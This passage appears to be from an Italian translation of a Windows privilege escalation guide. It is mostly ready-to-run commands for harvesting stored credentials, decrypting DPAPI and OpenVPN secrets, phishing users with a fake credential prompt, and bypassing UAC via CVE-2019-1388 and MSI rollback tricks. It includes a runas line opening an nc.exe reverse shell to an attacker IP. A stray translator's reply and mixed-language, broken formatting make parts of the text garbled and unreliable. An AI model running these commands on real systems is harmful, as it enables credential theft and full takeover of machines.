reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Gestore credenziali / Windows Vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Il Windows Vault memorizza le credenziali degli utenti per server, siti web e altri programmi ai quali Windows può eseguire automaticamente il login. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le credenziali di Facebook, Twitter, Gmail ecc. in modo da accedere automaticamente tramite i browser. Ma non è così.
Windows Vault memorizza credenziali che Windows può usare per effettuare l'accesso automaticamente, il che significa che qualsiasi applicazione Windows che necessita di credenziali per accedere a una risorsa (server o sito web) può utilizzare questo Credential Manager e Windows Vault e impiegare le credenziali fornite invece che gli utenti inseriscano nome utente e password ogni volta.
A meno che le applicazioni non interagiscano con Credential Manager, non credo sia possibile per loro usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole utilizzare il vault, dovrebbe in qualche modo comunicare con il Credential Manager e richiedere le credenziali per quella risorsa dal vault di storage predefinito.
Usa il comando cmdkey per elencare le credenziali memorizzate sulla macchina.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Quindi puoi usare runas con l'opzione /savecred per utilizzare le credenziali salvate. L'esempio seguente chiama un remote binary tramite una condivisione SMB.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Utilizzo di runas con un insieme di credenziali fornite.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Nota che mimikatz, lazagne, credentialfileview, VaultPasswordView, o da Empire Powershells module.
DPAPI
La Data Protection API (DPAPI) fornisce un metodo per la cifratura simmetrica dei dati, utilizzata principalmente all'interno del sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un segreto utente o di sistema che contribuisce in modo significativo all'entropia.
DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica derivata dai segreti di accesso dell'utente. Nei casi di cifratura a livello di sistema, utilizza i segreti di autenticazione di dominio del sistema.
Le chiavi RSA utente cifrate, mediante DPAPI, sono memorizzate nella directory %APPDATA%\Microsoft\Protect\{SID}, dove {SID} rappresenta il Security Identifier dell'utente. La chiave DPAPI, collocata nello stesso file insieme alla master key che protegge le chiavi private dell'utente, è tipicamente costituita da 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando dir in CMD, sebbene possa essere elencata tramite PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Puoi usare mimikatz module dpapi::masterkey con gli argomenti appropriati (/pvk o /rpc) per decifrarlo.
I file di credenziali protetti dalla master password si trovano solitamente in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Puoi usare mimikatz module dpapi::cred con l'apposito /masterkey per decriptare.
Puoi estrarre molti DPAPI masterkeys dalla memory con il sekurlsa::dpapi module (se sei root).
{{#ref}} dpapi-extracting-passwords.md {{#endref}}
Credenziali PowerShell
PowerShell credentials sono spesso usate per attività di scripting e automazione come modo comodo per memorizzare credenziali criptate. Le credenziali sono protette usando DPAPI, il che tipicamente significa che possono essere decriptate solo dallo stesso utente sullo stesso computer in cui sono state create.
Per decriptare una credenziale PS dal file che la contiene puoi fare:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wi-Fi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Connessioni RDP salvate
Si trovano in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e in HKCU\Software\Microsoft\Terminal Server Client\Servers\
Comandi eseguiti di recente
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Gestore credenziali Desktop remoto
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Usa il Mimikatz dpapi::rdg module con l'/masterkey appropriato per decriptare qualsiasi file .rdg
Puoi estrarre molte DPAPI masterkeys dalla memoria con il modulo Mimikatz sekurlsa::dpapi
Sticky Notes
Spesso le persone usano l'app StickyNotes sulle workstation Windows per salvare password e altre informazioni, senza rendersi conto che è un file di database. Questo file si trova in C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ed è sempre utile cercarlo ed esaminarlo.
AppCmd.exe
Nota che per recuperare le password da AppCmd.exe devi essere Administrator ed eseguire con un livello di integrità High.
AppCmd.exe si trova nella directory %systemroot%\system32\inetsrv\.\
Se questo file esiste, è possibile che alcune credentials siano state configurate e possano essere recuperate.
Questo codice è stato estratto da PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Verifica se C:\Windows\CCM\SCClient.exe esiste .
Gli installer vengono eseguiti con SYSTEM privileges, molti sono vulnerabili a DLL Sideloading (Info da https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
File e Registro (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Host Keys
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys nel registro
SSH private keys possono essere memorizzate nella chiave di registro HKCU\Software\OpenSSH\Agent\Keys, quindi dovresti controllare se c'è qualcosa di interessante lì:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Se trovi una voce in quel percorso, probabilmente si tratta di una SSH key salvata. È memorizzata cifrata ma può essere facilmente decrittata usando https://github.com/ropnop/windows_sshagent_extract.
Maggiori informazioni su questa tecnica qui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Se il servizio ssh-agent non è in esecuzione e vuoi che si avvii automaticamente all'avvio, esegui:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Sembra che questa tecnica non sia più valida. Ho provato a creare alcune chiavi ssh, aggiungerle con
ssh-adde fare login via ssh su una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso didpapi.dlldurante l'autenticazione con chiave asimmetrica.
Unattended files
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Puoi anche cercare questi file usando metasploit: post/windows/gather/enum_unattend
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Backup di SAM & SYSTEM
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Credenziali Cloud
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Cerca un file chiamato SiteList.xml
Password GPP memorizzata nella cache
Una funzionalità precedentemente disponibile permetteva il deployment di account di amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia questo metodo presentava gravi vulnerabilità di sicurezza. Innanzitutto, i Group Policy Objects (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, cifrate con AES256 usando una chiave predefinita documentata pubblicamente, potevano essere decifrate da qualsiasi utente autenticato. Ciò rappresentava un rischio serio, in quanto poteva permettere a utenti di ottenere privilegi elevati.
Per mitigare questo rischio, è stata sviluppata una funzione per scansionare i file GPP memorizzati localmente in cache che contengono un campo "cpassword" non vuoto. Al rilevamento di tali file, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella risoluzione di questa vulnerabilità di sicurezza.
Cerca in C:\ProgramData\Microsoft\Group Policy\history o in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (precedente a W Vista) questi file:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Per decriptare la cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Utilizzo di crackmapexec per ottenere le password:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
Configurazione Web di IIS
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Esempio di web.config con credenziali:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
Credenziali OpenVPN
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Registri
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Chiedere le credentials
Puoi sempre chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente se pensi che possa conoscerle (nota che chiedere direttamente al client per le credentials è davvero rischioso):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Possibili nomi di file contenenti credentials
File noti che tempo fa contenevano passwords in clear-text o Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Non vedo il contenuto del file. Per favore incolla il testo di src/windows-hardening/windows-local-privilege-escalation/README.md (o i file proposti) che vuoi tradurre.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Credenziali nel Cestino
Controlla anche il Cestino per cercare credenziali al suo interno
Per recuperare le password salvate da diversi programmi puoi usare: http://www.nirsoft.net/password_recovery_tools.html
Nel registro
Altre possibili chiavi del registro con credenziali
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Cronologia dei browser
Dovresti cercare i db dove sono memorizzate le password di Chrome o Firefox.
Controlla anche la history, i bookmarks e i favourites dei browser perché magari alcune password sono memorizzate lì.
Strumenti per estrarre password dai browser:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette l'intercommunication tra componenti software in linguaggi differenti. Ogni componente COM è identificato via un class ID (CLSID) e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs).
COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
All'interno dei CLSID di questo registro puoi trovare la chiave figlia InProcServer32 che contiene un default value che punta a una DLL e un valore chiamato ThreadingModel che può essere Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) o Neutral (Thread Neutral).
Fondamentalmente, se riesci a overwrite any of the DLLs che verranno eseguite, potresti escalate privileges se quella DLL viene eseguita da un utente diverso.
Per capire come gli attaccanti usano COM Hijacking come meccanismo di persistenza, consulta:
{{#ref}} com-hijacking.md {{#endref}}
Ricerca generica di password in file e registro
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Cerca un file con un nome specifico
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Cerca nel registry i key names e le passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Strumenti che cercano passwords
MSF-Credentials Plugin è un plugin per msf; l'ho creato per eseguire automaticamente ogni metasploit POST module che cerca credentials all'interno della vittima.
Winpeas cerca automaticamente tutti i file contenenti passwords menzionati in questa pagina.
Lazagne è un altro ottimo strumento per estrarre passwords da un sistema.
Lo strumento SessionGopher cerca sessions, usernames e passwords di diversi tool che salvano questi dati in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Immagina che un processo in esecuzione come SYSTEM apra un nuovo processo (OpenProcess()) con full access. Lo stesso processo crei anche un nuovo processo (CreateProcess()) con low privileges ma che eredita tutte le open handles del processo principale.
Quindi, se hai full access al processo a basso privilegio, puoi prendere la open handle del processo privilegiato creato con OpenProcess() e iniettare uno shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
I segmenti di memoria condivisa, noti come pipes, consentono la comunicazione tra processi e il trasferimento di dati.
Windows fornisce una funzionalità chiamata Named Pipes, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un'architettura client/server, con ruoli definiti come named pipe server e named pipe client.
Quando dei dati vengono inviati attraverso una pipe da un client, il server che ha creato la pipe ha la possibilità di assumere l'identità del client, a condizione che abbia i diritti SeImpersonate necessari. Identificare un processo privilegiato che comunica tramite una pipe che puoi emulare offre l'opportunità di ottenere privilegi più elevati adottando l'identità di quel processo una volta che interagisce con la pipe che hai creato. Per istruzioni su come eseguire un tale attacco, sono disponibili guide utili qui e qui.
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
Varie
Estensioni di file che possono eseguire codice in Windows
Consulta la pagina https://filesec.io/
Monitoraggio delle linee di comando per password
Quando si ottiene una shell come utente, potrebbero esserci attività pianificate o altri processi in esecuzione che passano le credenziali sulla linea di comando. Lo script qui sotto cattura le linee di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, mostrando eventuali differenze.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Se hai accesso all'interfaccia grafica (tramite console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" da un utente non privilegiato.
Questo rende possibile escalare i privilegi e bypassare UAC contemporaneamente sfruttando la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binario utilizzato durante il processo è firmato e rilasciato da Microsoft.
Alcuni dei sistemi interessati sono i seguenti:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Read this to learn about Integrity Levels:
{{#ref}} integrity-levels.md {{#endref}}
Then read this to learn about UAC and UAC bypasses:
{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
The technique described in this blog post with a exploit code available here.
The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a malicious MSI installer that will be used to hijack the C:\Config.Msi folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload.
The summarized technique is the following:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Create an
.msithat installs a harmless file (e.g.,dummy.txt) in a writable folder (TARGETDIR). -
Mark the installer as "UAC Compliant", so a non-admin user can run it.
-
Keep a handle open to the file after install.
-
Step 2: Begin Uninstall
-
Uninstall the same
.msi. -
The uninstall process starts moving files to
C:\Config.Msiand renaming them to.rbffiles (rollback backups). -
Poll the open file handle using
GetFinalPathNameByHandleto detect when the file becomesC:\Config.Msi\<random>.rbf. -
Step 3: Custom Syncing
-
The
.msiincludes a custom uninstall action (SyncOnRbfWritten) that: -
Signals when
.rbfhas been written. -
Then waits on another event before continuing the uninstall.
-
Step 4: Block Deletion of
.rbf -
When signaled, open the
.rbffile withoutFILE_SHARE_DELETE— this prevents it from being deleted. -
Then signal back so the uninstall can finish.
-
Windows Installer fails to delete the
.rbf, and because it can’t delete all contents,C:\Config.Msiis not removed. -
Step 5: Manually Delete
.rbf -
You (attacker) delete the
.rbffile manually. -
Now
C:\Config.Msiis empty, ready to be hijacked.
At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Recreate the
C:\Config.Msifolder yourself. -
Set weak DACLs (e.g., Everyone:F), and keep a handle open with
WRITE_DAC. -
Step 7: Run Another Install
-
Install the
.msiagain, with: -
TARGETDIR: Writable location. -
ERROROUT: A variable that triggers a forced failure. -
This install will be used to trigger rollback again, which reads
.rbsand.rbf. -
Step 8: Monitor for
.rbs -
Use
ReadDirectoryChangesWto monitorC:\Config.Msiuntil a new.rbsappears. -
Capture its filename.
-
Step 9: Sync Before Rollback
-
The
.msicontains a custom install action (SyncBeforeRollback) that: -
Signals an event when the
.rbsis created. -
Then waits before continuing.
-
Step 10: Reapply Weak ACL
-
After receiving the
.rbs createdevent: -
The Windows Installer reapplies strong ACLs to
C:\Config.Msi. -
But since you still have a handle with
WRITE_DAC, you can reapply weak ACLs again.
ACLs are only enforced on handle open, so you can still write to the folder.
-
Step 11: Drop Fake
.rbsand.rbf -
Overwrite the
.rbsfile with a fake rollback script that tells Windows to: -
Restore your
.rbffile (malicious DLL) into a privileged location (e.g.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Drop your fake
.rbfcontaining a malicious SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Signal the sync event so the installer resumes.
-
A type 19 custom action (
ErrorOut) is configured to intentionally fail the install at a known point. -
This causes rollback to begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Reads your malicious
.rbs. -
Copies your
.rbfDLL into the target location. -
You now have your malicious DLL in a SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Run a trusted auto-elevated binary (e.g.,
osk.exe) that loads the DLL you hijacked. -
Boom: Your code is executed as SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?
You could exploit NTFS internals: every folder has a hidden alternate data stream called:
C:\SomeFolder::$INDEX_ALLOCATION
Questo stream memorizza i metadati dell'indice della cartella.
Quindi, se elimini lo stream ::$INDEX_ALLOCATION di una cartella, NTFS rimuove l'intera cartella dal filesystem.
Puoi farlo usando API standard per l'eliminazione dei file come:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Anche se stai chiamando un'API di cancellazione di file, essa cancella la cartella stessa.
Da Folder Contents Delete a SYSTEM EoP
Che succede se la tua primitiva non ti permette di cancellare file/cartelle arbitrari, ma consente la cancellazione dei contenuti di una cartella controllata dall'attaccante?
- Passo 1: Prepara una cartella esca e un file
- Crea:
C:\temp\folder1 - Al suo interno:
C:\temp\folder1\file1.txt
- Passo 2: Posiziona un oplock su
file1.txt
- L'oplock mette in pausa l'esecuzione quando un processo privilegiato tenta di cancellare
file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Passo 3: Attiva il processo SYSTEM (es.
SilentCleanup)
- Questo processo scansiona le cartelle (es.
%TEMP%) e tenta di cancellarne il contenuto. - Quando raggiunge
file1.txt, l'oplock si attiva e passa il controllo al tuo callback.
- Passo 4: All'interno del callback dell'oplock – reindirizza la cancellazione
-
Opzione A: Sposta
file1.txtaltrove -
Questo svuota
folder1senza rompere l'oplock. -
Non cancellare
